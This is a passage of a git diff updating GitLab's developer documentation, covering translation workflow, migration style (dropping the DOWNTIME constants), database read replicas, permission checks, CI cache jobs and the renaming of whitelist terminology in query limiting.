-`Pipeline %{pipelineId} triggered %{timeago} by %{author}`. To replace the `%{timeago}` and
-`%{author}` placeholders with Vue components, here's how you would do that with `gl-sprintf`:
-
-```html
-<template>
- <div>
- <gl-sprintf :message="__('Pipeline %{pipelineId} triggered %{timeago} by %{author}')">
- <template #pipelineId>{{ pipeline.id }}</template>
- <template #timeago>
- <timeago :time="pipeline.triggerTime" />
- </template>
- <template #author>
- <gl-avatar-labeled
- :src="pipeline.triggeredBy.avatarPath"
- :label="pipeline.triggeredBy.name"
- />
- </template>
- </gl-sprintf>
- </div>
-</template>
-```
-
-For more information, see the [`gl-sprintf`](https://gitlab-org.gitlab.io/gitlab-ui/?path=/story/base-sprintf--default) documentation.
-
## Updating the PO files with the new content
Now that the new content is marked for translation, we need to update
@@ -702,7 +699,7 @@ bin/rake gettext:regenerate
This command updates `locale/gitlab.pot` file with the newly externalized
strings and remove any strings that aren't used anymore. You should check this
-file in. Once the changes are on master, they are picked up by
+file in. Once the changes are on the default branch, they are picked up by
[CrowdIn](https://translate.gitlab.com) and be presented for
translation.
diff --git a/doc/development/i18n/merging_translations.md b/doc/development/i18n/merging_translations.md
index e7d25942143..553820733e7 100644
--- a/doc/development/i18n/merging_translations.md
+++ b/doc/development/i18n/merging_translations.md
@@ -42,10 +42,11 @@ page](https://translate.gitlab.com/project/gitlab-ee/settings#integration).
## Merging translations
-When all translations are found good and pipelines pass the
-translations can be merged into the master branch. When merging the translations,
-make sure to check the **Remove source branch** checkbox, so CrowdIn recreates the
-`master-i18n` from master after the new translation was merged.
+After all translations are determined to be appropriate and the pipelines pass,
+you can merge the translations into the default branch. When merging translations,
+be sure to select the **Remove source branch** check box, which causes CrowdIn
+to recreate the `master-i18n` from the default branch after merging the new
+translation.
We are discussing [automating this entire process](https://gitlab.com/gitlab-org/gitlab/-/issues/19896).
@@ -59,7 +60,7 @@ and delete the
[`master-18n`](https://gitlab.com/gitlab-org/gitlab/-/branches/all?utf8=✓&search=master-i18n).
This might be needed when the merge request contains failures that
-have been fixed on master.
+have been fixed on the default branch.
## Recreate the GitLab integration in CrowdIn
diff --git a/doc/development/i18n/translation.md b/doc/development/i18n/translation.md
index 7fb49521106..f3d02e180e7 100644
--- a/doc/development/i18n/translation.md
+++ b/doc/development/i18n/translation.md
@@ -29,7 +29,6 @@ GitLab is being translated into many languages.
- If the language you are looking for is not available,
[open an issue](https://gitlab.com/gitlab-org/gitlab/-/issues?scope=all&utf8=✓&state=all&label_name[]=Category%3AInternationalization). Notify our Crowdin
administrators by including `@gitlab-org/manage/import` in your issue.
- in the issue.
- After the issue/Merge Request is complete, restart this procedure.
1. Next, you can view list of files and folders.
Select `gitlab.pot` to open the translation editor.
@@ -109,6 +108,6 @@ To propose additions to the glossary please
<!-- vale gitlab.Spelling = NO -->
In French, the "écriture inclusive" is now over (see on [Legifrance](https://www.legifrance.gouv.fr/jorf/id/JORFTEXT000036068906/)).
-So, to include both genders, write “Utilisateurs et utilisatrices†instead of “Utilisateur·rice·sâ€.
+So, to include both genders, write "Utilisateurs et utilisatrices" instead of "Utilisateur·rice·s".
When space is missing, the male gender should be used alone.
<!-- vale gitlab.Spelling = YES -->
diff --git a/doc/development/instrumentation.md b/doc/development/instrumentation.md
index 338ad76d414..83e7444bb1f 100644
--- a/doc/development/instrumentation.md
+++ b/doc/development/instrumentation.md
@@ -1,6 +1,6 @@
---
stage: Monitor
-group: Health
+group: Monitor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
diff --git a/doc/development/integrations/secure.md b/doc/development/integrations/secure.md
index fda75dad119..ae4e952d063 100644
--- a/doc/development/integrations/secure.md
+++ b/doc/development/integrations/secure.md
@@ -68,7 +68,7 @@ so the [`allow_failure`](../../ci/yaml/README.md#allow_failure) parameter should
### Artifacts
Scanning jobs must declare a report that corresponds to the type of scanning they perform,
-using the [`artifacts:reports`](../../ci/pipelines/job_artifacts.md#artifactsreports) keyword.
+using the [`artifacts:reports`](../../ci/yaml/README.md#artifactsreports) keyword.
Valid reports are: `dependency_scanning`, `container_scanning`, `dast`, and `sast`.
For example, here is the definition of a SAST job that generates a file named `gl-sast-report.json`,
@@ -209,7 +209,7 @@ It is recommended to name the output file after the type of scanning, and to use
Since all Secure reports are JSON files, it is recommended to use `.json` as a file extension.
For instance, a suggested filename for a Dependency Scanning report is `gl-dependency-scanning.json`.
-The [`artifacts:reports`](../../ci/pipelines/job_artifacts.md#artifactsreports) keyword
+The [`artifacts:reports`](../../ci/yaml/README.md#artifactsreports) keyword
of the job definition must be consistent with the file path where the Security report is written.
For instance, if a Dependency Scanning analyzer writes its report to the CI project directory,
and if this report filename is `depscan.json`,
diff --git a/doc/development/integrations/secure_partner_integration.md b/doc/development/integrations/secure_partner_integration.md
index 17bce13583c..3154dc83ea4 100644
--- a/doc/development/integrations/secure_partner_integration.md
+++ b/doc/development/integrations/secure_partner_integration.md
@@ -71,19 +71,19 @@ best place to integrate your own product and its results into GitLab.
This section describes the steps you need to complete to onboard as a partner
and complete an integration with the Secure stage.
-1. Read about our [partnerships](https://about.gitlab.com/partners/integrate/).
+1. Read about our [partnerships](https://about.gitlab.com/partners/technology-partners/integrate/).
1. [Create an issue](https://gitlab.com/gitlab-com/alliances/alliances/-/issues/new?issuable_template=new_partner)
using our new partner issue template to begin the discussion.
1. Get a test account to begin developing your integration. You can
- request a [GitLab.com Subscription Sandbox](https://about.gitlab.com/partners/integrate/#gitlabcom-subscription-sandbox-request)
- or an [EE Developer License](https://about.gitlab.com/partners/integrate/#requesting-ee-dev-license-for-rd).
+ request a [GitLab.com Subscription Sandbox](https://about.gitlab.com/partners/technology-partners/integrate/#gitlabcom-subscription-sandbox-request)
+ or an [EE Developer License](https://about.gitlab.com/partners/technology-partners/integrate/#requesting-ultimate-dev-license-for-rd).
1. Provide a [pipeline job](../../development/pipelines.md)
template that users could integrate into their own GitLab pipelines.
1. Create a report artifact with your pipeline jobs.
1. Ensure your pipeline jobs create a report artifact that GitLab can process
to successfully display your own product's results with the rest of GitLab.
- See detailed [technical directions](secure.md) for this step.
- - Read more about [job report artifacts](../../ci/pipelines/job_artifacts.md#artifactsreports).
+ - Read more about [job report artifacts](../../ci/yaml/README.md#artifactsreports).
- Read about [job artifacts](../../ci/pipelines/job_artifacts.md).
- Your report artifact must be in one of our currently supported formats.
For more information, see the [documentation on reports](secure.md#report).
@@ -105,10 +105,10 @@ and complete an integration with the Secure stage.
interface.
1. Demo the integration to GitLab:
- After you have tested and are ready to demo your integration please
- [reach out](https://about.gitlab.com/partners/integrate/) to us. If you
- skip this step you won’t be able to do supported marketing.
+ [reach out](https://about.gitlab.com/partners/technology-partners/integrate/) to us. If you
+ skip this step you won't be able to do supported marketing.
1. Begin doing supported marketing of your GitLab integration.
- - Work with our [partner team](https://about.gitlab.com/partners/integrate/)
+ - Work with our [partner team](https://about.gitlab.com/partners/technology-partners/integrate/)
to support your go-to-market as appropriate.
- Examples of supported marketing could include being listed on our [Security Partner page](https://about.gitlab.com/partners/#security),
doing an [Unfiltered blog post](https://about.gitlab.com/handbook/marketing/blog/unfiltered/),
diff --git a/doc/development/licensed_feature_availability.md b/doc/development/licensed_feature_availability.md
index a9fc0414297..10e6d717a18 100644
--- a/doc/development/licensed_feature_availability.md
+++ b/doc/development/licensed_feature_availability.md
@@ -41,3 +41,16 @@ the instance license.
```ruby
License.feature_available?(:feature_symbol)
```
+
+## Restricting frontend features
+
+To restrict frontend features based on the license, use `push_licensed_feature`.
+The frontend can then access this via `this.glFeatures`:
+
+```ruby
+before_action do
+ push_licensed_feature(:feature_symbol)
+ # or by project/namespace
+ push_licensed_feature(:feature_symbol, project)
+end
+```
diff --git a/doc/development/licensing.md b/doc/development/licensing.md
index c467fe81755..1ab56e60a0b 100644
--- a/doc/development/licensing.md
+++ b/doc/development/licensing.md
@@ -18,9 +18,6 @@ Some gems may not include their license information in their `gemspec` file, and
### License Finder commands
-NOTE:
-License Finder currently uses GitLab misused terms of `whitelist` and `blacklist`. As a result, the commands below reference those terms. We've created an [issue on their project](https://github.com/pivotal/LicenseFinder/issues/745) to propose that they rename their commands.
-
There are a few basic commands License Finder provides that you need in order to manage license detection.
To verify that the checks are passing, and/or to see what dependencies are causing the checks to fail:
@@ -32,13 +29,13 @@ bundle exec license_finder
To allowlist a new license:
```shell
-license_finder whitelist add MIT
+license_finder permitted_licenses add MIT
```
To denylist a new license:
```shell
-license_finder blacklist add Unlicense
+license_finder restricted_licenses add Unlicense
```
To tell License Finder about a dependency's license if it isn't auto-detected:
diff --git a/doc/development/logging.md b/doc/development/logging.md
index 30398eb87a1..88ae3950f1a 100644
--- a/doc/development/logging.md
+++ b/doc/development/logging.md
@@ -1,6 +1,6 @@
---
stage: Monitor
-group: Health
+group: Monitor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
diff --git a/doc/development/merge_request_performance_guidelines.md b/doc/development/merge_request_performance_guidelines.md
index 50362269c1b..0f696d39092 100644
--- a/doc/development/merge_request_performance_guidelines.md
+++ b/doc/development/merge_request_performance_guidelines.md
@@ -18,7 +18,7 @@ To measure the impact of a merge request you can use
the following guides:
- [Performance Guidelines](performance.md)
-- [What requires downtime?](what_requires_downtime.md)
+- [Avoiding downtime in migrations](avoiding_downtime_in_migrations.md)
## Definition
@@ -158,6 +158,27 @@ objects_to_update.update_all(some_field: some_value)
This uses ActiveRecord's `update_all` method to update all rows in a single
query. This in turn makes it much harder for this code to overload a database.
+## Use read replicas when possible
+
+In a DB cluster we have many read replicas and one primary. A classic use of scaling the DB is to have read-only actions be performed by the replicas. We use [load balancing](../administration/database_load_balancing.md) to distribute this load. This allows for the replicas to grow as the pressure on the DB grows.
+
+By default, queries use read-only replicas, but due to [primary sticking](../administration/database_load_balancing.md#primary-sticking), GitLab sticks to using the primary for a certain period of time and reverts back to secondaries after they have either caught up or after 30 seconds, which can lead to a considerable amount of unnecessary load on the primary. In this [merge request](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56849) we introduced the `without_sticky_writes` block to prevent switching to the primary. This [merge request example](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57328) provides a good use case for when queries can stick to the primary and how to prevent this by using `without_sticky_writes`.
+
+Internally, our database load balancer classifies the queries based on their main statement (`select`, `update`, `delete`, etc.). When in doubt, it redirects the queries to the primary database. Hence, there are some common cases the load balancer sends the queries to the primary unnecessarily:
+
+- Custom queries (via `exec_query`, `execute_statement`, `execute`, etc.)
+- Read-only transactions
+- In-flight connection configuration set
+- Sidekiq background jobs
+
+Worse, after the above queries are executed, GitLab [sticks to the primary](../administration/database_load_balancing.md#primary-sticking). In [this merge request](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56476), we introduced `use_replica_if_possible` to make the inside queries prefer to use the replicas. That MR is also an example how we redirected a costly, time-consuming query to the replicas.
+
+## Use CTEs wisely
+
+Read about [complex queries on the relation object](iterating_tables_in_batches.md#complex-queries-on-the-relation-object) for considerations on how to use CTEs. We have found in some situations that CTEs can become problematic in use (similar to the n+1 problem above). In particular, hierarchical recursive CTE queries such as the CTE in [AuthorizedProjectsWorker](https://gitlab.com/gitlab-org/gitlab/-/issues/325688) are very difficult to optimize and don't scale. We should avoid them when implementing new features that require any kind of hierarchical structure.
+
+However, in many simpler cases, such as this [example](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/43242#note_61416277), CTEs can be quite effective as an optimization fence.
+
## Cached Queries
**Summary:** a merge request **should not** execute duplicated cached queries.
@@ -459,7 +480,7 @@ Performance deficiencies should be addressed right away after we merge initial
changes.
Read more about when and how feature flags should be used in
-[Feature flags in GitLab development](https://about.gitlab.com/handbook/product-development-flow/feature-flag-lifecycle#feature-flags-in-gitlab-development).
+[Feature flags in GitLab development](https://about.gitlab.com/handbook/product-development-flow/feature-flag-lifecycle/#feature-flags-in-gitlab-development).
## Storage
diff --git a/doc/development/migration_style_guide.md b/doc/development/migration_style_guide.md
index fcecc556052..40457dbb533 100644
--- a/doc/development/migration_style_guide.md
+++ b/doc/development/migration_style_guide.md
@@ -16,16 +16,12 @@ migrations are written carefully, can be applied online, and adhere to the style
guide below.
Migrations are **not** allowed to require GitLab installations to be taken
-offline unless _absolutely necessary_.
-
-When downtime is necessary the migration has to be approved by:
-
-1. The VP of Engineering
-1. A Backend Maintainer
-1. A Database Maintainer
-
-An up-to-date list of people holding these titles can be found at
-<https://about.gitlab.com/company/team/>.
+offline ever. Migrations always must be written in such a way to avoid
+downtime. In the past we had a process for defining migrations that allowed for
+downtime by setting a `DOWNTIME` constant. You may see this when looking at
+older migrations. This process was in place for 4 years without every being
+used and as such we've learnt we can always figure out how to write a migration
+differently to avoid downtime.
When writing your migrations, also consider that databases might have stale data
or inconsistencies and guard for that. Try to make as few assumptions as
@@ -65,47 +61,16 @@ scripts/regenerate-schema
TARGET=12-9-stable-ee scripts/regenerate-schema
```
-## What Requires Downtime?
-
-The document ["What Requires Downtime?"](what_requires_downtime.md) specifies
-various database operations, such as
-
-- [dropping and renaming columns](what_requires_downtime.md#dropping-columns)
-- [changing column constraints and types](what_requires_downtime.md#changing-column-constraints)
-- [adding and dropping indexes, tables, and foreign keys](what_requires_downtime.md#adding-indexes)
-
-and whether they require downtime and how to work around that whenever possible.
-
-## Downtime Tagging
-
-Every migration must specify if it requires downtime or not, and if it should
-require downtime it must also specify a reason for this. This is required even
-if 99% of the migrations don't require downtime as this makes it easier to find
-the migrations that _do_ require downtime.
-
-To tag a migration, add the following two constants to the migration class'
-body:
-
-- `DOWNTIME`: a boolean that when set to `true` indicates the migration requires
- downtime.
-- `DOWNTIME_REASON`: a String containing the reason for the migration requiring
- downtime. This constant **must** be set when `DOWNTIME` is set to `true`.
-
-For example:
+## Avoiding downtime
-```ruby
-class MyMigration < ActiveRecord::Migration[6.0]
- DOWNTIME = true
- DOWNTIME_REASON = 'This migration requires downtime because ...'
+The document ["Avoiding downtime in migrations"](avoiding_downtime_in_migrations.md) specifies
+various database operations, such as:
- def change
- ...
- end
-end
-```
+- [dropping and renaming columns](avoiding_downtime_in_migrations.md#dropping-columns)
+- [changing column constraints and types](avoiding_downtime_in_migrations.md#changing-column-constraints)
+- [adding and dropping indexes, tables, and foreign keys](avoiding_downtime_in_migrations.md#adding-indexes)
-It is an error (that is, CI fails) if the `DOWNTIME` constant is missing
-from a migration class.
+and explains how to perform them without requiring downtime.
## Reversibility
@@ -153,7 +118,7 @@ and therefore it does not have any records yet.
When using a single-transaction migration, a transaction holds a database connection
for the duration of the migration, so you must make sure the actions in the migration
-do not take too much time: GitLab.com’s production database has a `15s` timeout, so
+do not take too much time: GitLab.com's production database has a `15s` timeout, so
in general, the cumulative execution time in a migration should aim to fit comfortably
in that limit. Singular query timings should fit within the [standard limit](query_performance.md#timing-guidelines-for-queries)
@@ -254,7 +219,7 @@ end
**Creating a new table with a foreign key:**
-We can simply wrap the `create_table` method with `with_lock_retries`:
+We can wrap the `create_table` method with `with_lock_retries`:
```ruby
def up
@@ -289,10 +254,10 @@ def up
t.bigint :project_id, null: false
t.bigint :user_id, null: false
t.string :jid, limit: 255
- end
- add_index :imports, :project_id
- add_index :imports, :user_id
+ t.index :project_id
+ t.index :user_id
+ end
end
def down
@@ -302,7 +267,7 @@ end
Adding foreign key to `projects`:
-We can use the `add_concurrenct_foreign_key` method in this case, as this helper method
+We can use the `add_concurrent_foreign_key` method in this case, as this helper method
has the lock retries built into it.
```ruby
@@ -512,8 +477,6 @@ class like so:
class MyMigration < ActiveRecord::Migration[6.0]
include Gitlab::Database::MigrationHelpers
- DOWNTIME = false
-
disable_ddl_transaction!
INDEX_NAME = 'index_name'
@@ -640,8 +603,6 @@ Take the following migration as an example:
```ruby
class DefaultRequestAccessGroups < ActiveRecord::Migration[5.2]
- DOWNTIME = false
-
def change
change_column_default(:namespaces, :request_access_enabled, from: false, to: true)
end
@@ -715,7 +676,7 @@ the `DROP TABLE` statement is likely to stall concurrent traffic until it fails
Table **has no records** (feature was never in use) and **no foreign
keys**:
-- Simply use the `drop_table` method in your migration.
+- Use the `drop_table` method in your migration.
```ruby
def change
@@ -849,8 +810,6 @@ Example migration adding this column:
```ruby
class AddOptionsToBuildMetadata < ActiveRecord::Migration[5.0]
- DOWNTIME = false
-
def change
add_column :ci_builds_metadata, :config_options, :jsonb
end
@@ -1038,7 +997,7 @@ To identify a high-traffic table for GitLab.com the following measures are consi
Note that the metrics linked here are GitLab-internal only:
- [Read operations](https://thanos.gitlab.net/graph?g0.range_input=2h&g0.max_source_resolution=0s&g0.expr=topk(500%2C%20sum%20by%20(relname)%20(rate(pg_stat_user_tables_seq_tup_read%7Benvironment%3D%22gprd%22%7D%5B12h%5D)%20%2B%20rate(pg_stat_user_tables_idx_scan%7Benvironment%3D%22gprd%22%7D%5B12h%5D)%20%2B%20rate(pg_stat_user_tables_idx_tup_fetch%7Benvironment%3D%22gprd%22%7D%5B12h%5D)))&g0.tab=1)
-- [Number of records](https://thanos.gitlab.net/graph?g0.range_input=2h&g0.max_source_resolution=0s&g0.expr=topk(500%2C%20sum%20by%20(relname)%20(rate(pg_stat_user_tables_n_live_tup%7Benvironment%3D%22gprd%22%7D%5B12h%5D)))&g0.tab=1)
-- [Size](https://thanos.gitlab.net/graph?g0.range_input=2h&g0.max_source_resolution=0s&g0.expr=topk(500%2C%20sum%20by%20(relname)%20(rate(pg_total_relation_size_bytes%7Benvironment%3D%22gprd%22%7D%5B12h%5D)))&g0.tab=1) is greater than 10 GB
+- [Number of records](https://thanos.gitlab.net/graph?g0.range_input=2h&g0.max_source_resolution=0s&g0.expr=topk(500%2C%20max%20by%20(relname)%20(pg_stat_user_tables_n_live_tup%7Benvironment%3D%22gprd%22%7D))&g0.tab=1)
+- [Size](https://thanos.gitlab.net/graph?g0.range_input=2h&g0.max_source_resolution=0s&g0.expr=topk(500%2C%20max%20by%20(relname)%20(pg_total_relation_size_bytes%7Benvironment%3D%22gprd%22%7D))&g0.tab=1) is greater than 10 GB
Any table which has some high read operation compared to current [high-traffic tables](https://gitlab.com/gitlab-org/gitlab/-/blob/master/rubocop/rubocop-migrations.yml#L4) might be a good candidate.
diff --git a/doc/development/new_fe_guide/tips.md b/doc/development/new_fe_guide/tips.md
index c60d70b3b16..5d4c0fc019f 100644
--- a/doc/development/new_fe_guide/tips.md
+++ b/doc/development/new_fe_guide/tips.md
@@ -27,7 +27,7 @@ Your feature flag can now be:
### More on feature flags
- [Deleting a feature flag](../../api/features.md#delete-a-feature)
-- [Manage feature flags](https://about.gitlab.com/handbook/product-development-flow/feature-flag-lifecycle)
+- [Manage feature flags](https://about.gitlab.com/handbook/product-development-flow/feature-flag-lifecycle/)
- [Feature flags API](../../api/features.md)
## Running tests locally
diff --git a/doc/development/packages.md b/doc/development/packages.md
index e8c326da974..d4982473d67 100644
--- a/doc/development/packages.md
+++ b/doc/development/packages.md
@@ -133,7 +133,7 @@ During this phase, the idea is to collect as much information as possible about
- **Authentication**: What authentication mechanisms are available (OAuth, Basic
Authorization, other). Keep in mind that GitLab users often want to use their
[Personal Access Tokens](../user/profile/personal_access_tokens.md).
- Although not needed for the MVC first iteration, the [CI job tokens](../user/project/new_ci_build_permissions_model.md#job-token)
+ Although not needed for the MVC first iteration, the [CI/CD job tokens](../api/README.md#gitlab-cicd-job-token)
have to be supported at some point in the future.
- **Requests**: Which requests are needed to have a working MVC. Ideally, produce
a list of all the requests needed for the MVC (including required actions). Further
diff --git a/doc/development/permissions.md b/doc/development/permissions.md
index 35f0941b756..2af451840d6 100644
--- a/doc/development/permissions.md
+++ b/doc/development/permissions.md
@@ -120,3 +120,31 @@ into different features like Merge Requests and CI flow.
| View | Vulnerability feedback | Merge Request | Can read security findings |
| View | Dependency List page | Project | Can access Dependency information |
| View | License Compliance page | Project | Can access License information|
+
+## Where should permissions be checked?
+
+By default, controllers, API endpoints, and GraphQL types/fields are responsible for authorization. See [Secure Coding Guidelines > Permissions](secure_coding_guidelines.md#permissions).
+
+### Considerations
+
+- Many actions are completely or partially extracted to services, finders, and other classes, so it is normal to do permission checks "downstream".
+- Often, authorization logic must be incorporated in DB queries to filter records.
+- `DeclarativePolicy` rules are relatively performant, but conditions may perform database calls.
+- Multiple permission checks across layers can be difficult to reason about, which is its own security risk. For example, duplicate authorization logic could diverge.
+- Should we apply defense-in-depth with permission checks? [Join the discussion](https://gitlab.com/gitlab-org/gitlab/-/issues/324135)
+
+### Tips
+
+If a class accepts `current_user`, then it may be responsible for authorization.
+
+### Example: Adding a new API endpoint
+
+By default, we authorize at the endpoint. Checking an existing ability may make sense; if not, then we probably need to add one.
+
+As an aside, most endpoints can be cleanly categorized as a CRUD (create, read, update, destroy) action on a resource. The services and abilities follow suit, which is why many are named like `Projects::CreateService` or `:read_project`.
+
+Say, for example, we extract the whole endpoint into a service. The `can?` check will now be in the service. Say the service reuses an existing finder, which we are modifying for our purposes. Should we make the finder check an ability?
+
+- If the finder doesn't accept `current_user`, and therefore doesn't check permissions, then probably no.
+- If the finder accepts `current_user`, and doesn't check permissions, then it would be a good idea to double check other usages of the finder, and we might consider adding authorization.
+- If the finder accepts `current_user`, and already checks permissions, then either we need to add our case, or the existing checks are appropriate.
diff --git a/doc/development/pipelines.md b/doc/development/pipelines.md
index aa3f2e6791a..8a93a46247e 100644
--- a/doc/development/pipelines.md
+++ b/doc/development/pipelines.md
@@ -497,18 +497,20 @@ request, be sure to start the `dont-interrupt-me` job before pushing.
1. We currently have several different caches defined in
[`.gitlab/ci/global.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/global.gitlab-ci.yml),
with fixed keys:
- - `.setup-test-env-cache`.
- - `.rails-cache`.
- - `.static-analysis-cache`.
+ - `.setup-test-env-cache`
+ - `.rails-cache`
+ - `.static-analysis-cache`
- `.coverage-cache`
+ - `.danger-review-cache`
- `.qa-cache`
- - `.yarn-cache`.
+ - `.yarn-cache`
- `.assets-compile-cache` (the key includes `${NODE_ENV}` so it's actually two different caches).
1. Only 6 specific jobs, running in 2-hourly scheduled pipelines, are pushing (i.e. updating) to the caches:
- `update-setup-test-env-cache`, defined in [`.gitlab/ci/rails.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/rails.gitlab-ci.yml).
- `update-rails-cache`, defined in [`.gitlab/ci/rails.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/rails.gitlab-ci.yml).
- `update-static-analysis-cache`, defined in [`.gitlab/ci/rails.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/rails.gitlab-ci.yml).
- `update-coverage-cache`, defined in [`.gitlab/ci/rails.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/rails.gitlab-ci.yml).
+ - `update-danger-review-cache`, defined in [`.gitlab/ci/review.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/review.gitlab-ci.yml).
- `update-qa-cache`, defined in [`.gitlab/ci/qa.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/qa.gitlab-ci.yml).
- `update-assets-compile-production-cache`, defined in [`.gitlab/ci/frontend.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/frontend.gitlab-ci.yml).
- `update-assets-compile-test-cache`, defined in [`.gitlab/ci/frontend.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/frontend.gitlab-ci.yml).
@@ -534,21 +536,23 @@ The pre-clone step works by using the `CI_PRE_CLONE_SCRIPT` variable
The `CI_PRE_CLONE_SCRIPT` is currently defined as a project CI/CD variable:
```shell
-echo "Downloading archived master..."
-wget -O /tmp/gitlab.tar.gz https://storage.googleapis.com/gitlab-ci-git-repo-cache/project-278964/gitlab-master-shallow.tar.gz
-
-if [ ! -f /tmp/gitlab.tar.gz ]; then
- echo "Repository cache not available, cloning a new directory..."
- exit
-fi
-
-rm -rf $CI_PROJECT_DIR
-echo "Extracting tarball into $CI_PROJECT_DIR..."
-mkdir -p $CI_PROJECT_DIR
-cd $CI_PROJECT_DIR
-tar xzf /tmp/gitlab.tar.gz
-rm -f /tmp/gitlab.tar.gz
-chmod a+w $CI_PROJECT_DIR
+(
+ echo "Downloading archived master..."
+ wget -O /tmp/gitlab.tar.gz https://storage.googleapis.com/gitlab-ci-git-repo-cache/project-278964/gitlab-master-shallow.tar.gz
+
+ if [ ! -f /tmp/gitlab.tar.gz ]; then
+ echo "Repository cache not available, cloning a new directory..."
+ exit
+ fi
+
+ rm -rf $CI_PROJECT_DIR
+ echo "Extracting tarball into $CI_PROJECT_DIR..."
+ mkdir -p $CI_PROJECT_DIR
+ cd $CI_PROJECT_DIR
+ tar xzf /tmp/gitlab.tar.gz
+ rm -f /tmp/gitlab.tar.gz
+ chmod a+w $CI_PROJECT_DIR
+)
```
The first step of the script downloads `gitlab-master.tar.gz` from
@@ -576,7 +580,7 @@ overwrites the Git configuration with the appropriate settings to fetch
from the GitLab repository.
`CI_REPO_CACHE_CREDENTIALS` contains the Google Cloud service account
-JSON for uploading to the `gitlab-ci-git-repo-cache` bucket. (If you’re a
+JSON for uploading to the `gitlab-ci-git-repo-cache` bucket. (If you're a
GitLab Team Member, find credentials in the
[GitLab shared 1Password account](https://about.gitlab.com/handbook/security/#1password-for-teams).
@@ -614,6 +618,7 @@ that is deployed in stage `review`.
[`coverage-javascript`](https://gitlab-org.gitlab.io/gitlab/coverage-javascript/),
and `webpack-report` (found at `https://gitlab-org.gitlab.io/gitlab/webpack-report/`, but there is
[an issue with the deployment](https://gitlab.com/gitlab-org/gitlab/-/issues/233458)).
+- `notify`: This stage includes jobs that notify various failures to Slack.
### Default image
diff --git a/doc/development/polymorphic_associations.md b/doc/development/polymorphic_associations.md
index cabd2e3fb41..b71e66c8671 100644
--- a/doc/development/polymorphic_associations.md
+++ b/doc/development/polymorphic_associations.md
@@ -74,7 +74,7 @@ different columns set) in the same table.
## The Solution
-Fortunately there is a very simple solution to these problems: simply use a
+Fortunately there is a very simple solution to these problems: use a
separate table for every type you would otherwise store in the same table. Using
a separate table allows you to use everything a database may provide to ensure
consistency and query data efficiently, without any additional application logic
diff --git a/doc/development/product_analytics/snowplow.md b/doc/development/product_analytics/snowplow.md
index ff91e450e1e..4e2f6530126 100644
--- a/doc/development/product_analytics/snowplow.md
+++ b/doc/development/product_analytics/snowplow.md
@@ -1,8 +1,8 @@
---
-redirect_to: '../snowplow.md'
+redirect_to: '../snowplow/index.md'
---
-This document was moved to [another location](../snowplow.md).
+This document was moved to [another location](../snowplow/index.md).
<!-- This redirect file can be deleted after April 1, 2021. -->
<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/prometheus_metrics.md b/doc/development/prometheus_metrics.md
index 05a623448bf..09efb70f279 100644
--- a/doc/development/prometheus_metrics.md
+++ b/doc/development/prometheus_metrics.md
@@ -1,6 +1,6 @@
---
stage: Monitor
-group: Health
+group: Monitor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
@@ -39,8 +39,6 @@ Or, you can create a database migration:
class ImportCommonMetrics < ActiveRecord::Migration[4.2]
include Gitlab::Database::MigrationHelpers
- DOWNTIME = false
-
def up
::Gitlab::DatabaseImporters::CommonMetrics::Importer.new.execute
end
diff --git a/doc/development/query_count_limits.md b/doc/development/query_count_limits.md
index a9569fee8cc..fec6f9022ee 100644
--- a/doc/development/query_count_limits.md
+++ b/doc/development/query_count_limits.md
@@ -15,30 +15,30 @@ When a test fails because it executes more than 100 SQL queries there are two
solutions to this problem:
- Reduce the number of SQL queries that are executed.
-- Whitelist the controller or API endpoint.
+- Disable query limiting for the controller or API endpoint.
-You should only resort to whitelisting when an existing controller or endpoint
+You should only resort to disabling query limits when an existing controller or endpoint
is to blame as in this case reducing the number of SQL queries can take a lot of
effort. Newly added controllers and endpoints are not allowed to execute more
than 100 SQL queries and no exceptions are made for this rule. _If_ a large
number of SQL queries is necessary to perform certain work it's best to have
this work performed by Sidekiq instead of doing this directly in a web request.
-## Whitelisting
+## Disable query limiting
-In the event that you _have_ to whitelist a controller you must first
+In the event that you _have_ to disable query limits for a controller, you must first
create an issue. This issue should (preferably in the title) mention the
controller or endpoint and include the appropriate labels (`database`,
`performance`, and at least a team specific label such as `Discussion`).
-After the issue has been created you can whitelist the code in question. For
+After the issue has been created, you can disable query limits on the code in question. For
Rails controllers it's best to create a `before_action` hook that runs as early
as possible. The called method in turn should call
-`Gitlab::QueryLimiting.whitelist('issue URL here')`. For example:
+`Gitlab::QueryLimiting.disable!('issue URL here')`. For example:
```ruby
class MyController < ApplicationController
- before_action :whitelist_query_limiting, only: [:show]
+ before_action :disable_query_limiting, only: [:show]
def index
# ...
@@ -48,8 +48,8 @@ class MyController < ApplicationController
# ...
end
- def whitelist_query_limiting
- Gitlab::QueryLimiting.whitelist('https://gitlab.com/gitlab-org/...')
+ def disable_query_limiting
+ Gitlab::QueryLimiting.disable!('https://gitlab.com/gitlab-org/...')
end
end
```
@@ -63,7 +63,7 @@ call directly into the endpoint like so:
```ruby
get '/projects/:id/foo' do
- Gitlab::QueryLimiting.whitelist('...')
+ Gitlab::QueryLimiting.disable!('...')
# ...
end
diff --git a/doc/development/rake_tasks.md b/doc/development/rake_tasks.md
index 98b386497df..f88424287b1 100644
--- a/doc/development/rake_tasks.md
+++ b/doc/development/rake_tasks.md
